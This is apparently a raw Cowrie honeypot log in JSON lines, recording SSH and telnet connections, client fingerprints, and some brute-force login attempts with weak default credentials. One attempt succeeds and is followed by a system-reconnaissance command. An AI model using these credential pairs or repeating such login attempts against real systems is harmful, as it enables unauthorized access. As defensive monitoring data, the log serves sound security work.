{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:29.909571Z","src_ip":"176.65.139.103","session":"80e816a0efdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.33417010307312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:30.083563Z","src_ip":"5.189.178.126","session":"4c78bb585f00","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:30.158762Z","src_ip":"176.65.139.103","session":"80e816a0efdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53426718711853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:30.259920Z","src_ip":"213.136.75.179","session":"256c9ce8e4db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56695580482483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:30.298498Z","src_ip":"159.223.86.167","session":"8753499f1eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35358,"dst_ip":"159.203.135.109","dst_port":23,"session":"bea25498bd55","protocol":"telnet","message":"New connection: 159.223.86.167:35358 (159.203.135.109:23) [session: bea25498bd55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:30.458346Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43944,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b7c0da009f","protocol":"telnet","message":"New connection: 213.136.75.179:43944 (10.17.0.5:23) [session: 17b7c0da009f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:30.736595Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":38182,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f50a284621b","protocol":"telnet","message":"New connection: 159.223.86.167:38182 (159.203.135.109:23) [session: 2f50a284621b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:31.095324Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:31.246594Z","src_ip":"176.65.139.103","session":"80e816a0efdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43960,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf2977c297be","protocol":"telnet","message":"New connection: 213.136.75.179:43960 (10.17.0.5:23) [session: bf2977c297be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:31.342060Z"}
{"eventid":"cowrie.session.closed","duration":31.71632719039917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:31.469534Z","src_ip":"159.223.86.167","session":"67986a4334ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43974,"dst_ip":"10.17.0.5","dst_port":23,"session":"3882af839353","protocol":"telnet","message":"New connection: 213.136.75.179:43974 (10.17.0.5:23) [session: 3882af839353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:31.481972Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43988,"dst_ip":"10.17.0.5","dst_port":23,"session":"059cf7329f7c","protocol":"telnet","message":"New connection: 213.136.75.179:43988 (10.17.0.5:23) [session: 059cf7329f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:31.513529Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39976,"dst_ip":"159.203.135.109","dst_port":23,"session":"96fe5d0fc1d7","protocol":"telnet","message":"New connection: 159.223.86.167:39976 (159.203.135.109:23) [session: 96fe5d0fc1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:31.667222Z"}
{"eventid":"cowrie.session.closed","duration":30.59138250350952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:32.127112Z","src_ip":"213.136.75.179","session":"d4faf222ad9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42798,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f14966d7b68","protocol":"telnet","message":"New connection: 159.223.86.167:42798 (159.203.135.109:23) [session: 5f14966d7b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:32.300013Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":55882,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd98f1fb9459","protocol":"ssh","message":"New connection: 80.94.92.182:55882 (10.17.0.5:22) [session: dd98f1fb9459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:32.517383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:32.602094Z","src_ip":"80.94.92.182","session":"dd98f1fb9459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44054,"dst_ip":"159.203.135.109","dst_port":23,"session":"73169132869e","protocol":"telnet","message":"New connection: 159.223.86.167:44054 (159.203.135.109:23) [session: 73169132869e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:32.667234Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:32.748975Z","src_ip":"80.94.92.182","session":"dd98f1fb9459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43990,"dst_ip":"10.17.0.5","dst_port":23,"session":"27673e7abcce","protocol":"telnet","message":"New connection: 213.136.75.179:43990 (10.17.0.5:23) [session: 27673e7abcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:33.238584Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42772,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdaa42290e75","protocol":"telnet","message":"New connection: 159.223.86.167:42772 (159.203.135.109:23) [session: cdaa42290e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:33.340543Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r","message":"login attempt [ubuntu/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:33.585496Z","src_ip":"80.94.92.182","session":"dd98f1fb9459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.976420402526855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:34.236315Z","src_ip":"159.223.86.167","session":"2c07d7406512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44014,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ca296856f2e","protocol":"telnet","message":"New connection: 213.136.75.179:44014 (10.17.0.5:23) [session: 8ca296856f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:34.409654Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44000,"dst_ip":"10.17.0.5","dst_port":23,"session":"5045a6dd0ffe","protocol":"telnet","message":"New connection: 213.136.75.179:44000 (10.17.0.5:23) [session: 5045a6dd0ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:34.414355Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52094,"dst_ip":"159.203.135.109","dst_port":23,"session":"079e7f5093f3","protocol":"telnet","message":"New connection: 159.223.86.167:52094 (159.203.135.109:23) [session: 079e7f5093f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:34.582353Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:34.796395Z","src_ip":"80.94.92.182","session":"dd98f1fb9459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.347280979156494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:35.111609Z","src_ip":"155.117.234.131","session":"6227bcecc7c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692981004714966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:35.141714Z","src_ip":"159.223.86.167","session":"4afe9bcf3668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.603328943252563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:35.213560Z","src_ip":"159.223.86.167","session":"c24f559e6ea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44028,"dst_ip":"10.17.0.5","dst_port":23,"session":"38320a295fb2","protocol":"telnet","message":"New connection: 213.136.75.179:44028 (10.17.0.5:23) [session: 38320a295fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:35.330395Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44038,"dst_ip":"10.17.0.5","dst_port":23,"session":"73bd9f12797e","protocol":"telnet","message":"New connection: 213.136.75.179:44038 (10.17.0.5:23) [session: 73bd9f12797e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:35.431386Z"}
{"eventid":"cowrie.session.closed","duration":31.85052490234375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:35.468429Z","src_ip":"213.136.75.179","session":"54416e84acf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79281783103943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:36.111303Z","src_ip":"159.223.86.167","session":"8bc5acc85bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.354665517807007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:36.214789Z","src_ip":"159.223.86.167","session":"50a1521631eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52412,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6c079416b80","protocol":"ssh","message":"New connection: 176.65.139.103:52412 (10.17.0.5:22) [session: e6c079416b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:36.478454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:36.482569Z","src_ip":"176.65.139.103","session":"e6c079416b80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:36.564464Z","src_ip":"176.65.139.103","session":"e6c079416b80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56254,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef9f88ae78b5","protocol":"telnet","message":"New connection: 159.223.86.167:56254 (159.203.135.109:23) [session: ef9f88ae78b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:36.585358Z"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:36.811712Z","src_ip":"176.65.139.103","session":"e6c079416b80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:37.123034Z","src_ip":"176.65.139.103","session":"e6c079416b80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:37.126639Z","src_ip":"176.65.139.103","session":"e6c079416b80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":34512,"dst_ip":"159.203.135.109","dst_port":23,"session":"397eeb59c3eb","protocol":"telnet","message":"New connection: 159.223.86.167:34512 (159.203.135.109:23) [session: 397eeb59c3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:37.160660Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:37.308109Z","src_ip":"176.65.139.103","session":"e6c079416b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:37.313674Z","src_ip":"176.65.139.103","session":"e6c079416b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.49083113670349,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:37.712806Z","src_ip":"213.136.75.179","session":"a3d2e7d68662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.731178283691406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:38.171708Z","src_ip":"213.136.75.179","session":"07912ca64a8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37395191192627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:39.185628Z","src_ip":"159.223.86.167","session":"80604b6cff92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":43472,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c74e2ae2f67","protocol":"telnet","message":"New connection: 159.223.86.167:43472 (159.203.135.109:23) [session: 8c74e2ae2f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:39.349657Z"}
{"eventid":"cowrie.session.closed","duration":36.57325100898743,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:39.619149Z","src_ip":"23.254.167.244","session":"e9c18e2ccdce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.70685029029846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:39.679071Z","src_ip":"213.136.75.179","session":"64e78e589804","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.534724473953247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:39.855452Z","src_ip":"159.223.86.167","session":"188c100e7fbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.671958446502686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:40.083496Z","src_ip":"159.223.86.167","session":"e994cbf35d68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027021408081055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:40.679823Z","src_ip":"213.136.75.179","session":"acc3284e43a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18567132949829,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:40.699693Z","src_ip":"5.189.178.126","session":"4542061f9cb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417881727218628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:41.275475Z","src_ip":"159.223.86.167","session":"bfe372dce06d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":56702,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b2a5ed9fda","protocol":"telnet","message":"New connection: 5.189.178.126:56702 (10.17.0.5:23) [session: 17b2a5ed9fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:41.406869Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54702,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d561a2713f","protocol":"telnet","message":"New connection: 159.223.86.167:54702 (159.203.135.109:23) [session: 05d561a2713f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:42.013270Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":50510,"dst_ip":"10.17.0.5","dst_port":22,"session":"298b41f28889","protocol":"ssh","message":"New connection: 20.244.18.126:50510 (10.17.0.5:22) [session: 298b41f28889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:42.072313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:42.076875Z","src_ip":"20.244.18.126","session":"298b41f28889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:42.264607Z","src_ip":"20.244.18.126","session":"298b41f28889","protocol":"ssh"}
